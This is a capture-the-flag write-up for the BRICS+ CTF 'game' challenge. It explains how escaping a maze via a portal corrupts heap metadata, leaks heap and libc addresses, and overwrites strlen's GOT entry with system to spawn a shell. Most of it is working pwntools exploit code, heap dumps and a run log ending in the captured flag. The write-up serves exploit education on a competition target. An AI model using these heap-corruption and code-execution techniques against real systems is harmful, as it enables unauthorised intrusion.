BRICS+ CTF - game
Playing the Fool.
nc game-51463dfee2ff6388.brics-ctf.ru 13001
Team: Weak But Leet
Name (24 chars max): AAAAAAAAAAAA
1. Maze
2. Cards
3. User info
4. Exit
> 1
Use a s d w keys to move, you win when you reach any maze side
Additional keys:
e - edit maze
i - user info
q - quit
########
#A ## A#
# # # #
#@ # #
# # ##
# #
# # # #
###### #
You now at 3 1 (you may not see '@' because of portal)
In this challenge, we’re able to play a maze or card game. Though I used the card game merely to enlarge the heap when needed or triggering an allocation, the interesting part is in the maze game.
The maze is stored on the heap (right below our user info object)
0x406290: 0x0000000000000000 0x0000000000000031
0x4062a0: 0x0000000000000000 0x0000000000000001 <= count of maze/card won/played
0x4062b0: 0x0000000000000018 0x00000000004062d0 <= size / name buffer
0x4062c0: 0x0000000000000000 0x0000000000000031
0x4062d0: 0x2020202020202020 0x2020202020202020 <= name buffer
0x4062e0: 0x2020202020202020 0x0000000000000000
0x4062f0: 0x0000000000000000 0x0000000000000051
0x406300: 0x2323232323232323 0x2341202323204123 <= maze
0x406310: 0x2320232020232023 0x2320202320204023
0x406320: 0x2323202020232023 0x2320202020202023
0x406330: 0x2320202320232023 0x2320232323232323
0x406340: 0x0000000000000000 0x0000000000020cc1
In most ctf maze games the target is to somehow leave the maze to access memory around it, so the objective was clear. Wasted some hours to leave it “in the wrong direction” and totally overcomplicated it (trying to resize card objects to free them multiple times, and so on…).
But after a break and a fresh reset, I set my mind that it might be the best idea to keep the heap clean and simple and just leave the maze to the top, “wandering” into our user object. This turned out to be a lot easier.
So, how to leave the maze without winning? Well, we can create a new maze with an empty space on top and place a portal inside the maze, which will warp us into this free space. When we then leave the portal to the north, the game will not recognize that we left the maze and lets us walk around outside of it.
def exploit(r):
r.sendafter(": ", "\x20"*24)
r.recvuntil("> ")
maze = []
maze.append("######## #######")
for i in range(2):
maze.append("# #")
maze.append("######## ########")
go_maze()
pause()
log.info("Rewrite maze to get a teleporter to leave maze to north")
edit_maze(4, 16, maze, ["1 1 0 8"], "2 1")
With this, we’ll create a 4*16
maze, which will fit nicely into a 0x50
chunk. Thus it will reuse (free/alloc) the existing maze. We also placed an open space at the middle of the top line and put a portal on 1/1
, which will warp into 0/8
(which is the open space).
########A#######
#A #
#@ #
######## #######
You now at 2 1 (you may not see '@' because of portal)
We’ll now walk through the portal and leave the maze and then walk into the size
of userinfo
.
log.info("Overwrite name size")
go("w") # walks into portal
go("w") # walks out of the maze
go("w")
go("w")
for i in range(7):
go("a")
go("w")
go("w")
The player will be marked in the maze as 0x40
and since we “walked” onto the second byte of size
, size
will now have changed from 0x18
to 0x4018
.
0x406290: 0x0000000000000000 0x0000000000000031
0x4062a0: 0x0000000000000000 0x0000000000000001
0x4062b0: 0x0000000000004018 0x00000000004062d0 <= size / name buffer
0x4062c0: 0x0000000000002000 0x0000000000000031
0x4062d0: 0x2020202020202020 0x2020202020202020
0x4062e0: 0x2020202020202020 0x0000000000000020
0x4062f0: 0x0000000000000000 0x0000000000000051
0x406300: 0x2323232323232323 0x2323232323232320
0x406310: 0x2020202020204123 0x2320202020202020
0x406320: 0x2020202020202023 0x2320202020202020
0x406330: 0x2323232323232323 0x2323232323232320
When we move around, we leave 0x20
bytes on our way (since the game wants to replace our previous position with a whitespace to draw the maze cleanly). So, by now, we would already be able to write a huge amount of data behind our name buffer
, but it would be even nicer, if we could overwrite the userinfo
object itself and point the name buffer anywhere.
So currently it points to 0x4062d0
. If we’d just sneak around into the LSB of this, that would turn it into 0x406240
, pointing before our userinfo
object.
go("s")
for i in range(7):
go("d")
go("w")
0x406240: 0x0000000000000000 0x0000000000000000 <= new fake buffer
0x406250: 0x0000000000000000 0x0000000000000000
0x406260: 0x0000000000000000 0x0000000000000000
0x406270: 0x0000000000000000 0x0000000000000000
0x406280: 0x0000000000000000 0x0000000000000000
0x406290: 0x0000000000000000 0x0000000000000031
0x4062a0: 0x0000000000000000 0x0000000000000001
0x4062b0: 0x0000000000002018 0x0000000000406240 <= size / name buffer
0x4062c0: 0x2020202020202000 0x0000000000000020
0x4062d0: 0x2020202020202020 0x2020202020202020
0x4062e0: 0x2020202020202020 0x0000000000000020
0x4062f0: 0x0000000000000000 0x0000000000000051
Since lowest 3 nibbles of an address will always be the same, this will also work just fine, when we re-enable ASLR.
With this setup, we can now change our name to align it with the name buffer address and then leak that with Userinfo
.
r.sendline("3")
r.sendafter(": ", "y")
r.sendafter(": ", "A"*0x78)
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("Name: "+"A"*0x78)
LEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
HEAPBASE = LEAK - 0x240
Now, with a heap leak at hand, we can do even more with this primitive.
Let’s point our buffer to tcache arena
, so we can control allocation of chunks easily.
payload = "A"*0x78
payload += p64(HEAPBASE+0x10)
r.sendlineafter("(y/n) : ", "y")
r.sendlineafter(": ", payload)
r.recvuntil("> ")
log.info("Fillup heap to get enough chunks to free into bin")
payload = p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
r.sendline("3")
r.sendlineafter("(y/n) : ", "y")
r.sendlineafter(": ", payload)
This will basically just clear out tcache arena
. Thus all new allocations would come from top
. We use this to enlarge the heap a bit, so that we can put a big fake chunk in it without much hassle.
go_cards()
quit()
r.sendline("3")
r.sendlineafter("(y/n) : ", "y")
r.sendlineafter(": ", payload)
r.recvuntil("> ")
go_cards()
quit()
r.sendline("3")
r.sendlineafter("(y/n) : ", "y")
r.sendlineafter(": ", payload)
r.recvuntil("> ")
go_cards()
quit()
Playing cards will allocate and free some 0x21
chunks. We do this multiple times, to push top
down the heap.
After this we’ll put a 0x480
fake chunk on the heap and let tcache 0x20
point to it. We’ll then allocate and free it via another card game, which will then pull a main_arena
pointer onto the heap.
payload = p64(0x0000000000000001)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(HEAPBASE+0x250)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x000000000000000a)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x0000000000000000)+p64(0x0000000000000000)
payload += p64(0x4141414141414141)+p64(0x0000000000000481)
payload += p64(0x4141414141414141)+p64(0x4141414141414141) # fake buffer
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414441414141)
payload += p64(0x4141414141414141)+p64(HEAPBASE+0x250)
r.sendline("3")
r.sendlineafter("(y/n) : ", "y")
r.sendlineafter(": ", payload)
r.recvuntil("> ")
go_cards()
quit()
Before playing cards, heap will look like this
0x406000: 0x0000000000000000 0x0000000000000291
0x406010: 0x0000000000000001 0x0000000000000000
0x406020: 0x0000000000000000 0x0000000000000000
0x406030: 0x0000000000000000 0x0000000000000000
0x406040: 0x0000000000000000 0x0000000000000000
0x406050: 0x0000000000000000 0x0000000000000000
0x406060: 0x0000000000000000 0x0000000000000000
0x406070: 0x0000000000000000 0x0000000000000000
0x406080: 0x0000000000000000 0x0000000000000000
0x406090: 0x0000000000406250 0x0000000000000000 <= points to fake 0x480 chunk
0x4060a0: 0x0000000000000000 0x0000000000000000
0x4060b0: 0x0000000000000000 0x0000000000000000
...
0x406210: 0x0000000000000000 0x0000000000000000
0x406220: 0x0000000000000000 0x0000000000000000
0x406230: 0x0000000000000000 0x0000000000000000
0x406240: 0x4141414141414141 0x0000000000000481
0x406250: 0x4141414141414141 0x4141414141414141 <= fake chunk
0x406260: 0x4141414141414141 0x4141414141414141
0x406270: 0x4141414141414141 0x4141414141414141
0x406280: 0x4141414141414141 0x4141414141414141
0x406290: 0x4141414141414141 0x4141414141414141
0x4062a0: 0x4141414141414141 0x4141414441414141
0x4062b0: 0x4141414141414141 0x0000000000406250 <= size / name buffer
0x4062c0: 0x202020202020200a 0x0000000000000020
0x4062d0: 0x2020202020202020 0x2020202020202020
0x4062e0: 0x2020202020202020 0x0000000000000020
0x4062f0: 0x0000000000000000 0x0000000000000051
0x406300: 0x2323232323232323 0x2323232323232320
0x406310: 0x2020202020204123 0x2320202020202020
Playing cards and quit will allocate the fake chunk and free it.
0x406230: 0x0000000000000000 0x0000000000000000
0x406240: 0x4141414141414141 0x0000000000000481
0x406250: 0x00007ffff7fa6ce0 0x00007ffff7fa6ce0 <= freed fake chunk
0x406260: 0x0000000000000000 0x0000000000000000
0x406270: 0x4141414141414141 0x4141414141414141
0x406280: 0x4141414141414141 0x4141414141414141
0x406290: 0x4141414141414141 0x4141414141414141
0x4062a0: 0x4141414141414141 0x4141414541414141
0x4062b0: 0x4141414141414141 0x0000000000406250
0x4062c0: 0x202020202020200a 0x0000000000000020
In the previous payload, I also directly overwrote the name buffer
pointer with the address of the fake chunk, so that we can now directly read the libc address from it.
r.sendline("3")
r.recvuntil("Name: ")
LIBCLEAK = u64(r.recvline()[:-1].ljust(8, "\x00"))
libc.address = LIBCLEAK - 0x219ce0
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC : %s" % hex(libc.address))
Now that we know libc
, we can bring this to an end. Since User Info
will print our buffer with puts
, strlen.abs.got
is a very good target for this.
When puts
gets called, it will check the length of the string with strlen(username)
, so if we can overwrite it with system
first, it would execute system(username)
.
For this, we’ll overwrite the buffer
address in our userinfo
with the address of strlen.abs.got-8
.
STRLENGOT = libc.address + 0x219098
payload = p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414141414141)
payload += p64(0x4141414141414141)+p64(0x4141414441414141)
payload += p64(0x10)+p64(STRLENGOT-8)
r.sendlineafter(": ", "y")
r.sendlineafter(": ", payload)
r.recvuntil("> ")
Then we’ll just change the username again to /bin/sh\x00 + system
.
r.sendline("3")
r.sendlineafter("(y/n) : ", "y")
payload = "/bin/sh\x00" + p64(libc.symbols["system"])
r.sendafter(": ", payload)
r.recvuntil("> ")
This way our username will be /bin/sh
, and we’ll also overwrite strlen.abs.got
with system
.
Now, we’ll just need to show userinfo again to trigger the shell.
[*] '/media/sf_ctf/brics23/gamework/game/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to game-51463dfee2ff6388.brics-ctf.ru on port 13001: Done
[*] Rewrite maze to get a teleporter to leave maze to north
[*] Overwrite name size
[*] Overwrite name pointer lsb
[*] Leak heap from name
[*] HEAP leak : 0x1d4a240
[*] HEAP base : 0x1d4a000
[*] Point name to tcache arena
[*] Fillup heap to get enough chunks to free into bin
[*] Free fake bin chunk to get mainarena pointer
[*] Leak mainarena pointer
[*] LIBC leak : 0x7f7fa1afece0
[*] LIBC : 0x7f7fa18e5000
[*] Overwrite strlen abs.got
[*] Show name to trigger shell
[*] Switching to interactive mode
$ ls
flag.txt
vuln
$ cat flag.txt
brics+{4c760273d8880a807d0c802781ba8793}
$